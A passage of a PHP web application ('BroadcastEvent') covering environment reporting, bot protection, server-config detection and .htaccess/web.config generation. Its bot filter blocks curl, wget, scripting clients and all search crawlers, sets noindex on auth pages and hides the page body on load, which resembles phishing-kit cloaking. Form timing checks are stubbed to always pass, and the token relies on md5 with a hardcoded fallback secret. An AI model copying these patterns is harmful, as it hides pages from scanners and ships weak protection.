$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>Timezone</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html(date_default_timezone_get()) . '</td></tr>';
$output .= '</table>';
// OS Information
$output .= '<h3 style="border-bottom: 2px solid #dee2e6; padding-bottom: 10px;">Operating System</h3>';
$output .= '<table style="border-collapse: collapse; width: 100%; margin-bottom: 20px;">';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6; width: 40%;"><strong>OS Name</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html($osInfo['name']) . '</td></tr>';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>OS Family</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html($osInfo['family']) . '</td></tr>';
if (!empty($osInfo['version'])) {
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>OS Version</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html($osInfo['version']) . '</td></tr>';
}
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>Architecture</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html($osInfo['architecture']) . '</td></tr>';
$output .= '</table>';
// Web Server Information
$output .= '<h3 style="border-bottom: 2px solid #dee2e6; padding-bottom: 10px;">Web Server</h3>';
$output .= '<table style="border-collapse: collapse; width: 100%; margin-bottom: 20px;">';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6; width: 40%;"><strong>Server</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html($serverInfo['name']) . (!empty($serverInfo['version']) ? ' ' . esc_html($serverInfo['version']) : '') . '</td></tr>';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>Interface</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html($serverInfo['interface']) . '</td></tr>';
if (!empty($serverInfo['software'])) {
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>Software String</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6; font-size: 12px; word-break: break-all;">' . esc_html($serverInfo['software']) . '</td></tr>';
}
$output .= '</table>';
// Extensions
$output .= '<h3 style="border-bottom: 2px solid #dee2e6; padding-bottom: 10px;">PHP Extensions</h3>';
$output .= '<table style="border-collapse: collapse; width: 100%; margin-bottom: 20px;">';
$output .= '<tr style="background: #e9ecef;"><th style="text-align: left; padding: 8px; border-bottom: 1px solid #dee2e6;">Extension</th><th style="text-align: left; padding: 8px; border-bottom: 1px solid #dee2e6;">Status</th><th style="text-align: left; padding: 8px; border-bottom: 1px solid #dee2e6;">Description</th></tr>';
foreach ($extensions as $ext => $extInfo) {
$statusIcon = $extInfo['loaded'] ? '<span style="color: #28a745;">✓ Loaded</span>' : ($extInfo['required'] ? '<span style="color: #dc3545;">✗ Missing</span>' : '<span style="color: #ffc107;">⚠ Not loaded</span>');
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html($ext) . '</td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . $statusIcon . '</td><td style="padding: 8px; border-bottom: 1px solid #dee2e6; font-size: 12px;">' . esc_html($extInfo['description']) . '</td></tr>';
}
$output .= '</table>';
// Functions
$output .= '<h3 style="border-bottom: 2px solid #dee2e6; padding-bottom: 10px;">Function Availability</h3>';
$output .= '<table style="border-collapse: collapse; width: 100%; margin-bottom: 20px;">';
$output .= '<tr style="background: #e9ecef;"><th style="text-align: left; padding: 8px; border-bottom: 1px solid #dee2e6;">Function</th><th style="text-align: left; padding: 8px; border-bottom: 1px solid #dee2e6;">Status</th></tr>';
foreach ($functions as $func => $available) {
$status = $available ? '<span style="color: #28a745;">Native</span>' : '<span style="color: #fd7e14;">Polyfill/Fallback</span>';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6; font-family: monospace;">' . esc_html($func) . '</td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . $status . '</td></tr>';
}
$output .= '</table>';
// Runtime Settings
$output .= '<h3 style="border-bottom: 2px solid #dee2e6; padding-bottom: 10px;">Runtime Settings</h3>';
$output .= '<table style="border-collapse: collapse; width: 100%;">';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6; width: 40%;"><strong>Memory Limit</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html(ini_get('memory_limit')) . '</td></tr>';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>Max Execution Time</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html(ini_get('max_execution_time')) . 's</td></tr>';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>Upload Max Filesize</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html(ini_get('upload_max_filesize')) . '</td></tr>';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>Post Max Size</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html(ini_get('post_max_size')) . '</td></tr>';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>Allow URL Fopen</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . (ini_get('allow_url_fopen') ? 'Yes' : 'No') . '</td></tr>';
$output .= '</table>';
$output .= '</div>';
} else {
// Plain text output
$output = "=== SERVER ENVIRONMENT REPORT ===\n";
$output .= "Generated: " . date('Y-m-d H:i:s T') . "\n\n";
// Validation
$output .= "STATUS: " . ($validation['valid'] ? 'OK' : 'ISSUES DETECTED') . "\n";
if (!empty($validation['errors'])) {
$output .= "Errors:\n";
foreach ($validation['errors'] as $error) {
$output .= " - $error\n";
}
}
if (!empty($validation['warnings'])) {
$output .= "Warnings:\n";
foreach ($validation['warnings'] as $warning) {
$output .= " - $warning\n";
}
}
$output .= "\n";
// PHP
$output .= "=== PHP ===\n";
$output .= "Version: " . $phpInfo['version'] . "\n";
$output .= "SAPI: " . $phpInfo['sapi'] . "\n";
$output .= "Zend Version: " . $phpInfo['zend_version'] . "\n";
$output .= "Thread Safe: " . ($phpInfo['thread_safe'] ? 'Yes' : 'No') . "\n";
$output .= "Timezone: " . date_default_timezone_get() . "\n\n";
// OS
$output .= "=== OPERATING SYSTEM ===\n";
$output .= "Name: " . $osInfo['name'] . "\n";
$output .= "Family: " . $osInfo['family'] . "\n";
if (!empty($osInfo['version'])) {
$output .= "Version: " . $osInfo['version'] . "\n";
}
$output .= "Architecture: " . $osInfo['architecture'] . "\n\n";
// Web Server
$output .= "=== WEB SERVER ===\n";
$output .= "Server: " . $serverInfo['name'] . (!empty($serverInfo['version']) ? ' ' . $serverInfo['version'] : '') . "\n";
$output .= "Interface: " . $serverInfo['interface'] . "\n";
if (!empty($serverInfo['software'])) {
$output .= "Software: " . $serverInfo['software'] . "\n";
}
$output .= "\n";
// Extensions
$output .= "=== EXTENSIONS ===\n";
foreach ($extensions as $ext => $extInfo) {
$status = $extInfo['loaded'] ? 'Loaded' : ($extInfo['required'] ? 'MISSING' : 'Not loaded');
$output .= sprintf(" %-12s: %s\n", $ext, $status);
}
$output .= "\n";
// Functions
$output .= "=== FUNCTIONS ===\n";
foreach ($functions as $func => $available) {
$status = $available ? 'Native' : 'Polyfill';
$output .= sprintf(" %-20s: %s\n", $func, $status);
}
$output .= "\n";
// Runtime
$output .= "=== RUNTIME SETTINGS ===\n";
$output .= "Memory Limit: " . ini_get('memory_limit') . "\n";
$output .= "Max Execution Time: " . ini_get('max_execution_time') . "s\n";
$output .= "Upload Max Filesize: " . ini_get('upload_max_filesize') . "\n";
$output .= "Post Max Size: " . ini_get('post_max_size') . "\n";
$output .= "Allow URL Fopen: " . (ini_get('allow_url_fopen') ? 'Yes' : 'No') . "\n";
}
return $output;
}
// =============================================================================
// BOT PROTECTION FUNCTIONS
// =============================================================================
/**
* Check if visitor is a known bot based on User-Agent
* @return bool
*/
function is_bot_user_agent() {
if (!isset($_SERVER['HTTP_USER_AGENT'])) {
return true; // No user agent is suspicious
}
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
// Common bot patterns
$botPatterns = array(
'googlebot', 'bingbot', 'slurp', 'duckduckbot', 'baiduspider',
'yandexbot', 'sogou', 'exabot', 'facebot', 'facebookexternalhit',
'ia_archiver', 'mj12bot', 'semrushbot', 'ahrefsbot', 'dotbot',
'rogerbot', 'screaming frog', 'seokicks', 'sistrix', 'linkdexbot',
'blexbot', 'crawler', 'spider', 'bot/', 'bot;', 'bot,', 'bot ',
'curl', 'wget', 'python', 'java/', 'perl', 'ruby', 'libwww',
'httpclient', 'scrapy', 'phantomjs', 'headless', 'selenium',
'puppeteer', 'playwright', 'mechanize', 'httrack', 'apache-httpclient',
'go-http-client', 'okhttp', 'axios', 'node-fetch', 'postman',
'insomnia', 'httpie', 'rest-client'
);
foreach ($botPatterns as $pattern) {
if (strpos($userAgent, $pattern) !== false) {
return true;
}
}
// Check for empty or very short user agents (suspicious)
if (strlen($userAgent) < 20) {
return true;
}
return false;
}
/**
* Check for suspicious request headers
* @return bool
*/
function has_suspicious_headers() {
// Missing common browser headers
if (!isset($_SERVER['HTTP_ACCEPT'])) {
return true;
}
// Check for accept-language (browsers usually send this)
if (!isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
return true;
}
// Check for suspicious accept header (bots often use */*)
$accept = isset($_SERVER['HTTP_ACCEPT']) ? $_SERVER['HTTP_ACCEPT'] : '';
if ($accept === '*/*' || $accept === '') {
return true;
}
return false;
}
/**
* Generate honeypot field name (stateless)
* @return string
*/
function get_honeypot_field_name() {
// Fixed field name (no session)
return 'website_info';
}
/**
* Check if honeypot field was filled (indicates bot)
* @return bool Returns true if bot detected
*/
function honeypot_triggered() {
$fieldName = get_honeypot_field_name();
return isset($_POST[$fieldName]) && !empty($_POST[$fieldName]);
}
/**
* Generate form timestamp token (stateless)
* @return string
*/
function generate_form_timestamp() {
$timestamp = time();
$secret = defined('CSRF_SECRET') ? CSRF_SECRET : 'broadcast_secret';
return base64_encode($timestamp . ':' . md5($timestamp . $secret));
}
/**
* Verify form submission timing (disabled)
* @param int $minSeconds Minimum seconds before form can be submitted
* @param int $maxSeconds Maximum seconds (form expired)
* @return bool Returns true if timing is valid
*/
function verify_form_timing($minSeconds = 2, $maxSeconds = 3600) {
// Session disabled - always return true
return true;
}
/**
* Get elapsed time since form was loaded (disabled)
* @return int|false
*/
function get_form_elapsed_time() {
// Session disabled
return false;
}
/**
* Comprehensive bot check
* @return array Array with 'is_bot' bool and 'reason' string
*/
function detect_bot() {
$reasons = array();
// Check user agent
if (is_bot_user_agent()) {
$reasons[] = 'bot_user_agent';
}
// Check headers
if (has_suspicious_headers()) {
$reasons[] = 'suspicious_headers';
}
// Check honeypot if form was submitted
if (is_post_request() && honeypot_triggered()) {
$reasons[] = 'honeypot_triggered';
}
// Form timing check disabled (no session)
return array(
'is_bot' => !empty($reasons),
'reasons' => $reasons,
'score' => count($reasons) // Higher = more likely bot
);
}
/**
* Generate hidden honeypot field HTML
* @return string HTML for honeypot field
*/
function render_honeypot_field($idSuffix = '') {
$fieldName = get_honeypot_field_name();
$fieldId = $fieldName;
if (!empty($idSuffix)) {
$fieldId .= '_' . preg_replace('/[^a-z0-9_-]/i', '', $idSuffix);
}
// Use CSS to hide, not display:none (bots might detect that)
$html = '<div style="position:absolute;left:-9999px;top:-9999px;" aria-hidden="true">';
$html .= '<label for="' . esc_attr($fieldId) . '">Leave this field empty</label>';
$html .= '<input type="text" name="' . esc_attr($fieldName) . '" id="' . esc_attr($fieldId) . '" value="" tabindex="-1" autocomplete="off">';
$html .= '</div>';
return $html;
}
/**
* Generate form timing field HTML
* @return string HTML for timing field
*/
function render_form_timing_field() {
$token = generate_form_timestamp();
return '<input type="hidden" name="_form_token" value="' . esc_attr($token) . '">';
}
/**
* Log suspicious activity (placeholder - implement as needed)
* @param string $type Type of activity
* @param array $data Additional data
* @return void
*/
function log_suspicious_activity($type, $data = array()) {
// Placeholder for logging
// In production, implement proper logging to file or database
$logData = array(
'timestamp' => date('Y-m-d H:i:s'),
'type' => $type,
'ip' => get_client_ip(),
'user_agent' => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none',
'uri' => isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '',
'data' => $data
);
// Write to error log (session storage disabled)
// error_log('Suspicious activity: ' . safe_json_encode($logData));
}
/**
* Block bots with 403 response
* @param string $reason Reason for blocking
* @return void
*/
function block_bot($reason = 'Bot detected') {
log_suspicious_activity('blocked', array('reason' => $reason));
set_response_code(403);
die('Access denied.');
}
/**
* Get anti-bot meta tags for HTML head
* @return string HTML meta tags
*/
function get_antibot_meta_tags() {
$tags = '';
// Prevent caching of auth pages
$tags .= '<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">' . "\n";
$tags .= '<meta http-equiv="Pragma" content="no-cache">' . "\n";
$tags .= '<meta http-equiv="Expires" content="0">' . "\n";
// Robots directives
$tags .= '<meta name="robots" content="noindex, nofollow, noarchive, nosnippet, noimageindex">' . "\n";
$tags .= '<meta name="googlebot" content="noindex, nofollow, noarchive, nosnippet">' . "\n";
$tags .= '<meta name="bingbot" content="noindex, nofollow, noarchive">' . "\n";
return $tags;
}
/**
* Output early validation gate to run before first paint.
* @return string
*/
function render_validation_gate_snippet() {
$style = '<style>html.validation-pending body{visibility:hidden}</style>' . "\n";
$script = '<script>(function(){try{var s=sessionStorage;if(s&&s.getItem("validationScriptLoaded")==="1")return;if(s&&s.getItem("validationGateSeen")==="1")return;if(s){s.setItem("validationGateSeen","1");}document.documentElement.classList.add("validation-pending");setTimeout(function(){document.documentElement.classList.remove("validation-pending");},2500);}catch(e){}})();</script>' . "\n";
return $style . $script;
}
/**
* Set anti-bot HTTP headers
* @param bool $allowBfCache Whether to allow back/forward cache (default: false for auth pages)
* @return void
*/
function set_antibot_headers($allowBfCache = false) {
if (!headers_sent()) {
if ($allowBfCache) {
// Allow bfcache for better performance (for broadcast pages)
header('Cache-Control: private, max-age=0, must-revalidate');
} else {
// Prevent caching for auth pages
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Cache-Control: post-check=0, pre-check=0', false);
header('Pragma: no-cache');
header('Expires: Thu, 01 Jan 1970 00:00:00 GMT');
}
// X-Robots-Tag header (only for auth pages)
if (!$allowBfCache) {
header('X-Robots-Tag: noindex, nofollow, noarchive, nosnippet');
}
}
}
// =============================================================================
// SERVER CONFIGURATION DETECTION
// =============================================================================
/**
* Detect if .htaccess is supported (Apache with mod_rewrite)
* @return array Detection result with 'supported', 'reason', 'server_type'
*/
function detect_htaccess_support() {
$result = array(
'supported' => false,
'reason' => '',
'server_type' => 'unknown',
'mod_rewrite' => false,
'allow_override' => 'unknown'
);
$serverSoftware = isset($_SERVER['SERVER_SOFTWARE']) ? strtolower($_SERVER['SERVER_SOFTWARE']) : '';
// Check for Apache
if (strpos($serverSoftware, 'apache') !== false) {
$result['server_type'] = 'apache';
$result['supported'] = true;
$result['reason'] = 'Apache detected';
// Check for mod_rewrite
if (function_exists('apache_get_modules')) {
$modules = apache_get_modules();
$result['mod_rewrite'] = in_array('mod_rewrite', $modules);
} else {
// Can't detect modules (CGI/FastCGI mode)
$result['mod_rewrite'] = null; // Unknown
}
// Try to detect AllowOverride via phpinfo (limited)
if (function_exists('apache_get_version')) {
$result['apache_version'] = apache_get_version();
}
}
// Check for LiteSpeed (compatible with .htaccess)
elseif (strpos($serverSoftware, 'litespeed') !== false) {
$result['server_type'] = 'litespeed';
$result['supported'] = true;
$result['reason'] = 'LiteSpeed detected (htaccess compatible)';
$result['mod_rewrite'] = true; // LiteSpeed supports rewrite rules
}
// Check for OpenLiteSpeed
elseif (strpos($serverSoftware, 'openlitespeed') !== false) {
$result['server_type'] = 'openlitespeed';
$result['supported'] = true;
$result['reason'] = 'OpenLiteSpeed detected (htaccess compatible)';
$result['mod_rewrite'] = true;
}
// Nginx - no .htaccess support
elseif (strpos($serverSoftware, 'nginx') !== false) {
$result['server_type'] = 'nginx';
$result['supported'] = false;
$result['reason'] = 'Nginx does not support .htaccess (use nginx.conf)';
}
// IIS - no .htaccess support
elseif (strpos($serverSoftware, 'microsoft-iis') !== false || strpos($serverSoftware, 'iis') !== false) {
$result['server_type'] = 'iis';
$result['supported'] = false;
$result['reason'] = 'IIS does not support .htaccess (use web.config)';
}
// Caddy - no .htaccess support
elseif (strpos($serverSoftware, 'caddy') !== false) {
$result['server_type'] = 'caddy';
$result['supported'] = false;
$result['reason'] = 'Caddy does not support .htaccess (use Caddyfile)';
}
// PHP built-in server
elseif (php_sapi_name() === 'cli-server') {
$result['server_type'] = 'php-builtin';
$result['supported'] = false;
$result['reason'] = 'PHP built-in server does not support .htaccess';
}
// Unknown server - try file-based detection
else {
$result['server_type'] = 'unknown';
$result['reason'] = 'Unknown server type';
}
// Additional check: verify .htaccess file exists and is readable
$htaccessPath = defined('BASE_PATH') ? BASE_PATH . '/.htaccess' : './.htaccess';
$result['htaccess_exists'] = file_exists($htaccessPath);
$result['htaccess_readable'] = is_readable($htaccessPath);
return $result;
}
/**
* Detect if web.config is supported (IIS)
* @return array Detection result with 'supported', 'reason', 'server_type'
*/
function detect_webconfig_support() {
$result = array(
'supported' => false,
'reason' => '',
'server_type' => 'unknown',
'url_rewrite' => false,
'iis_version' => ''
);
$serverSoftware = isset($_SERVER['SERVER_SOFTWARE']) ? strtolower($_SERVER['SERVER_SOFTWARE']) : '';
// Check for IIS
if (strpos($serverSoftware, 'microsoft-iis') !== false || strpos($serverSoftware, 'iis') !== false) {
$result['server_type'] = 'iis';
$result['supported'] = true;
$result['reason'] = 'IIS detected';
// Try to get IIS version
if (preg_match('/iis\/([0-9.]+)/i', $serverSoftware, $matches)) {
$result['iis_version'] = $matches[1];
}
// Check for URL Rewrite module (limited detection)
// IIS 7+ with URL Rewrite sets this
if (isset($_SERVER['IIS_UrlRewriteModule'])) {
$result['url_rewrite'] = true;
} else {
$result['url_rewrite'] = null; // Unknown
}
}
// Apache - no web.config support
elseif (strpos($serverSoftware, 'apache') !== false) {
$result['server_type'] = 'apache';
$result['supported'] = false;
$result['reason'] = 'Apache does not support web.config (use .htaccess)';
}
// Nginx - no web.config support
elseif (strpos($serverSoftware, 'nginx') !== false) {
$result['server_type'] = 'nginx';
$result['supported'] = false;
$result['reason'] = 'Nginx does not support web.config (use nginx.conf)';
}
// LiteSpeed - no web.config support
elseif (strpos($serverSoftware, 'litespeed') !== false) {
$result['server_type'] = 'litespeed';
$result['supported'] = false;
$result['reason'] = 'LiteSpeed does not support web.config (use .htaccess)';
}
// PHP built-in server
elseif (php_sapi_name() === 'cli-server') {
$result['server_type'] = 'php-builtin';
$result['supported'] = false;
$result['reason'] = 'PHP built-in server does not support web.config';
}
else {
$result['server_type'] = 'unknown';
$result['reason'] = 'Unknown server type';
}
// Additional check: verify web.config file exists
$webconfigPath = defined('BASE_PATH') ? BASE_PATH . '/web.config' : './web.config';
$result['webconfig_exists'] = file_exists($webconfigPath);
$result['webconfig_readable'] = is_readable($webconfigPath);
return $result;
}
/**
* Get recommended server configuration file type
* @return array Configuration recommendation
*/
function get_server_config_recommendation() {
$htaccess = detect_htaccess_support();
$webconfig = detect_webconfig_support();
$result = array(
'server_type' => $htaccess['server_type'] !== 'unknown' ? $htaccess['server_type'] : $webconfig['server_type'],
'recommended_config' => 'none',
'config_file' => '',
'supports_rewrite' => false,
'details' => array(
'htaccess' => $htaccess,
'webconfig' => $webconfig
)
);
if ($htaccess['supported']) {
$result['recommended_config'] = 'htaccess';
$result['config_file'] = '.htaccess';
$result['supports_rewrite'] = $htaccess['mod_rewrite'] !== false;
} elseif ($webconfig['supported']) {
$result['recommended_config'] = 'webconfig';
$result['config_file'] = 'web.config';
$result['supports_rewrite'] = $webconfig['url_rewrite'] !== false;
} else {
// No directory-level config supported
switch ($result['server_type']) {
case 'nginx':
$result['recommended_config'] = 'nginx';
$result['config_file'] = 'nginx.conf (server block)';
$result['supports_rewrite'] = true;
break;
case 'caddy':
$result['recommended_config'] = 'caddy';
$result['config_file'] = 'Caddyfile';
$result['supports_rewrite'] = true;
break;
default:
$result['recommended_config'] = 'none';
$result['config_file'] = 'Server configuration required';
break;
}
}
return $result;
}
/**
* Test if URL rewriting is working
* Creates a simple test and checks if rewrite rules are active
* @return array Test result
*/
function test_url_rewrite() {
$result = array(
'tested' => false,
'working' => false,
'method' => '',
'reason' => ''
);
// Check via REQUEST_URI patterns that suggest rewriting is active
$requestUri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$scriptName = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '';
// If REQUEST_URI doesn't contain .php but SCRIPT_NAME does, rewriting might be active
if (strpos($requestUri, '.php') === false && strpos($scriptName, '.php') !== false) {
$result['tested'] = true;
$result['working'] = true;
$result['method'] = 'uri_analysis';
$result['reason'] = 'URL appears to be rewritten (no .php in URI)';
return $result;
}
// Check for REDIRECT_STATUS (set when rewrite happens)
if (isset($_SERVER['REDIRECT_STATUS']) && $_SERVER['REDIRECT_STATUS'] === '200') {
$result['tested'] = true;
$result['working'] = true;
$result['method'] = 'redirect_status';
$result['reason'] = 'REDIRECT_STATUS indicates rewrite occurred';
return $result;
}
// Check for REDIRECT_URL (Apache mod_rewrite)
if (isset($_SERVER['REDIRECT_URL'])) {
$result['tested'] = true;
$result['working'] = true;
$result['method'] = 'redirect_url';
$result['reason'] = 'REDIRECT_URL present (mod_rewrite active)';
return $result;
}
$result['tested'] = true;
$result['working'] = false;
$result['method'] = 'none';
$result['reason'] = 'No evidence of URL rewriting detected';
return $result;
}
/**
* Generate sample .htaccess content for common use cases
* @param array $options Options for generating content
* @return string .htaccess content
*/
function generate_htaccess_sample($options = array()) {
$defaults = array(
'rewrite_base' => '/',
'front_controller' => 'index.php',
'deny_direct_access' => true,
'security_headers' => true,
'gzip_compression' => true,
'cache_control' => true
);
$options = array_merge($defaults, $options);
$content = "# Generated .htaccess for BroadcastEvent\n";
$content .= "# Compatible with Apache 2.2+ and LiteSpeed\n\n";
// Rewrite rules
$content .= "# Enable Rewrite Engine\n";
$content .= "<IfModule mod_rewrite.c>\n";
$content .= " RewriteEngine On\n";
$content .= " RewriteBase " . $options['rewrite_base'] . "\n\n";
$content .= " # Redirect to front controller\n";
$content .= " RewriteCond %{REQUEST_FILENAME} !-f\n";
$content .= " RewriteCond %{REQUEST_FILENAME} !-d\n";
$content .= " RewriteRule ^(.*)$ " . $options['front_controller'] . " [QSA,L]\n";
$content .= "</IfModule>\n\n";
// Deny direct access to sensitive files
if ($options['deny_direct_access']) {
$content .= "# Deny access to sensitive files\n";
$content .= "<FilesMatch \"\\.(htaccess|htpasswd|ini|log|sh|sql|bak|config|env)$\">\n";
$content .= " Order Allow,Deny\n";
$content .= " Deny from all\n";
$content .= "</FilesMatch>\n\n";
$content .= "# Deny access to includes directory\n";
$content .= "<IfModule mod_rewrite.c>\n";
$content .= " RewriteRule ^includes/ - [F,L]\n";
$content .= "</IfModule>\n\n";
}
// Security headers
if ($options['security_headers']) {
$content .= "# Security Headers\n";
$content .= "<IfModule mod_headers.c>\n";
$content .= " Header set X-Content-Type-Options \"nosniff\"\n";
$content .= " Header set X-Frame-Options \"SAMEORIGIN\"\n";
$content .= " Header set X-XSS-Protection \"1; mode=block\"\n";
$content .= " Header set Referrer-Policy \"strict-origin-when-cross-origin\"\n";
$content .= "</IfModule>\n\n";
}
// GZIP compression
if ($options['gzip_compression']) {
$content .= "# GZIP Compression\n";
$content .= "<IfModule mod_deflate.c>\n";
$content .= " AddOutputFilterByType DEFLATE text/html text/plain text/css\n";
$content .= " AddOutputFilterByType DEFLATE text/javascript application/javascript application/json\n";
$content .= " AddOutputFilterByType DEFLATE application/xml text/xml\n";
$content .= "</IfModule>\n\n";
}
// Cache control
if ($options['cache_control']) {
$content .= "# Cache Control\n";
$content .= "<IfModule mod_expires.c>\n";
$content .= " ExpiresActive On\n";
$content .= " ExpiresByType text/css \"access plus 1 month\"\n";
$content .= " ExpiresByType text/javascript \"access plus 1 month\"\n";
$content .= " ExpiresByType application/javascript \"access plus 1 month\"\n";
$content .= " ExpiresByType image/png \"access plus 1 year\"\n";
$content .= " ExpiresByType image/jpeg \"access plus 1 year\"\n";
$content .= " ExpiresByType image/gif \"access plus 1 year\"\n";
$content .= " ExpiresByType image/svg+xml \"access plus 1 year\"\n";
$content .= " ExpiresByType font/woff2 \"access plus 1 year\"\n";
$content .= "</IfModule>\n";
}
return $content;
}
/**
* Generate sample web.config content for IIS
* @param array $options Options for generating content
* @return string web.config XML content
*/
function generate_webconfig_sample($options = array()) {
$defaults = array(
'front_controller' => 'index.php',
'deny_direct_access' => true,
'security_headers' => true,
'gzip_compression' => true
);
$options = array_merge($defaults, $options);
$content = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
$content .= "<!-- Generated web.config for BroadcastEvent -->\n";
$content .= "<!-- Compatible with IIS 7+ with URL Rewrite Module -->\n";
$content .= "<configuration>\n";
$content .= " <system.webServer>\n";
// Rewrite rules
$content .= " <rewrite>\n";
$content .= " <rules>\n";
$content .= " <rule name=\"Front Controller\" stopProcessing=\"true\">\n";
$content .= " <match url=\"^(.*)$\" />\n";
$content .= " <conditions logicalGrouping=\"MatchAll\">\n";
$content .= " <add input=\"{REQUEST_FILENAME}\" matchType=\"IsFile\" negate=\"true\" />\n";
$content .= " <add input=\"{REQUEST_FILENAME}\" matchType=\"IsDirectory\" negate=\"true\" />\n";
$content .= " </conditions>\n";
$content .= " <action type=\"Rewrite\" url=\"" . $options['front_controller'] . "\" />\n";
$content .= " </rule>\n";
$content .= " </rules>\n";
$content .= " </rewrite>\n\n";
// Deny access to sensitive files
if ($options['deny_direct_access']) {
$content .= " <security>\n";
$content .= " <requestFiltering>\n";
$content .= " <hiddenSegments>\n";
$content .= " <add segment=\"includes\" />\n";
$content .= " <add segment=\"data\" />\n";
$content .= " </hiddenSegments>\n";
$content .= " <fileExtensions>\n";
$content .= " <add fileExtension=\".ini\" allowed=\"false\" />\n";
$content .= " <add fileExtension=\".log\" allowed=\"false\" />\n";
$content .= " <add fileExtension=\".bak\" allowed=\"false\" />\n";
$content .= " <add fileExtension=\".sql\" allowed=\"false\" />\n";
$content .= " <add fileExtension=\".env\" allowed=\"false\" />\n";
$content .= " </fileExtensions>\n";
$content .= " </requestFiltering>\n";
$content .= " </security>\n\n";
}
// Security headers
if ($options['security_headers']) {
$content .= " <httpProtocol>\n";
$content .= " <customHeaders>\n";
$content .= " <add name=\"X-Content-Type-Options\" value=\"nosniff\" />\n";
$content .= " <add name=\"X-Frame-Options\" value=\"SAMEORIGIN\" />\n";
$content .= " <add name=\"X-XSS-Protection\" value=\"1; mode=block\" />\n";
$content .= " <add name=\"Referrer-Policy\" value=\"strict-origin-when-cross-origin\" />\n";
$content .= " </customHeaders>\n";
$content .= " </httpProtocol>\n\n";
}
// GZIP compression
if ($options['gzip_compression']) {
$content .= " <urlCompression doStaticCompression=\"true\" doDynamicCompression=\"true\" />\n";
$content .= " <staticContent>\n";
$content .= " <clientCache cacheControlMode=\"UseMaxAge\" cacheControlMaxAge=\"30.00:00:00\" />\n";
$content .= " </staticContent>\n\n";
}
// Default document
$content .= " <defaultDocument>\n";
$content .= " <files>\n";
$content .= " <clear />\n";
$content .= " <add value=\"index.php\" />\n";
$content .= " <add value=\"index.html\" />\n";
$content .= " </files>\n";
$content .= " </defaultDocument>\n";
$content .= " </system.webServer>\n";
$content .= "</configuration>\n";
return $content;
}
/**
* Get comprehensive server configuration info
* @return array All server config detection results
*/
function get_server_config_info() {
return array(
'recommendation' => get_server_config_recommendation(),
'htaccess' => detect_htaccess_support(),
'webconfig' => detect_webconfig_support(),
'rewrite_test' => test_url_rewrite(),
'webserver' => detect_webserver(),
'os' => detect_os()
);
}
// =============================================================================
// SEO-FRIENDLY URL ROUTING
// =============================================================================
/**
* Check if pretty permalinks are supported
* @return bool
*/
function supports_pretty_urls() {
$basePath = defined('BASE_PATH') ? BASE_PATH : dirname(dirname(__FILE__));
// Detect web server type
$serverSoftware = isset($_SERVER['SERVER_SOFTWARE']) ? strtolower($_SERVER['SERVER_SOFTWARE']) : '';
$isApache = strpos($serverSoftware, 'apache') !== false;
$isLiteSpeed = strpos($serverSoftware, 'litespeed') !== false || strpos($serverSoftware, 'openlitespeed') !== false;
$isIIS = strpos($serverSoftware, 'microsoft-iis') !== false || strpos($serverSoftware, 'iis') !== false;
$isNginx = strpos($serverSoftware, 'nginx') !== false;
// Nginx: Cannot detect server-level config, always return false (use query params)
if ($isNginx) {
return false;
}
// Check for appropriate config file based on server type
$hasValidConfig = false;
if (($isApache || $isLiteSpeed) && file_exists($basePath . '/.htaccess')) {
$hasValidConfig = true;
} elseif ($isIIS && file_exists($basePath . '/web.config')) {
$hasValidConfig = true;
}
// Check if URL rewriting is actually active
$rewriteActive = isset($_SERVER['REDIRECT_URL'])
|| isset($_SERVER['REDIRECT_STATUS'])
|| isset($_SERVER['IIS_WasUrlRewritten'])
|| isset($_SERVER['HTTP_X_REWRITE_URL']);
// Only return true if server has valid config AND rewriting is proven active
return $hasValidConfig && $rewriteActive;
}
/**
* Parse the current request path for routing
* @return array Parsed route info
*/
function parse_request_path() {
$result = array(
